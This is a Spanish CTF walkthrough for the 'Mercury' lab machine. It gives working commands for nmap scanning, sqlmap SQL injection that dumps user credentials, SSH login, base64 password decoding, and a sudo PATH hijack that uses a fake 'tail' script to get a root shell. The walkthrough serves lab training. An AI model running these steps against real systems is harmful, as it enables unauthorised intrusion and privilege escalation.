Mercury
Obtención del user flag
1. Escáner de direcciones IP y puertos (nmap)
nmap -A 10.0.2.2-10
Se puede observar el puerto 8080 abierto y parece una aplicación web.
2. Inspección de la web
Abrir dirección http://10.0.2.7:8080/ en navegador
3. Probar otras rutas
Abrir dirección http://10.0.2.7:8080/semospeligrosos en navegador,
la cual origina un error en el que se pueden observar rutas válidas.
4. Inspeccionar ruta válida
Abrir dirección http://10.0.2.7:8080/mercuryfacts/ en navegador
5. Probar inyecciones SQL
sqlmap --tables -u http://10.0.2.7:8080/mercuryfacts/1*/
dir="ltr">
sqlmap --dump -T users -u http://10.0.2.7:8080/mercuryfacts/1*/
De aquí se obtienen usuarios y contraseñas
6. Probar a iniciar sesión SSH con algunos usuarios
ssh webmaster@10.0.2.7
Obtención del root flag
Para conseguir el flag root podemos proceder del siguiente modo:
1. Una vez dentro del servidor como el usuario webmaster, buscamos información. El comando "ls" revela la presencia de un directorio llamado "mercury_proj" que contiene un fichero "notes.txt".
ls
cd mercury_proj
ls
cat notes.txt
2. En el fichero aparecen dos usuarios y sus respectivas contraseñas codificadas en algo que parece base 64. Procedemos a decodificar la del usuario linuxmaster:
echo "codigobase64==" | base64 --decode
Obtenemos así una contraseña que podemos utilizar para acceder como dicho usuario.
3. Cambiamos de usuario utilizando el comando su. Nos pedirá la contraseña que acabamos de obtener.
su linuxmaster
4. Ya como usuario linuxmaster, averiguamos qué comandos podemos ejecutar con privilegios:
sudo -l
Veremos que podemos lanzar un script como root, cuya ruta es /usr/bin/check_syslog.sh. Dicho script mostrará las últimas líneas del registro del sistema, mediante la orden tail. (Puede verse el contenido del script con cat /usr/bin/check_syslog.sh).
5. Una posibilidad para obtener acceso de root es crear un programa o script que se llame igual que tail, de modo que cuando el script anterior ejecute esa orden lo que haga sea ejecutar nuestro programa.
cd
nano tail
El contenido del script será:
#!/bin/bash
echo "Bienvenido al lado oscuro"
bash
Guardamos el fichero y le damos permisos de ejecución:
chmod +x tail
6. Ahora es necesario alterar la ruta de búsqueda de órdenes (PATH) para que primero acceda a nuestro programa "tail", antes que al tail original:
export PATH=$HOME:$PATH
7. Finalmente ejecutamos el único comando que podemos ejecutar con privilegios, obteniendo por fin acceso a una shell como root:
sudo --preserve-env=PATH /usr/bin/check_syslog.sh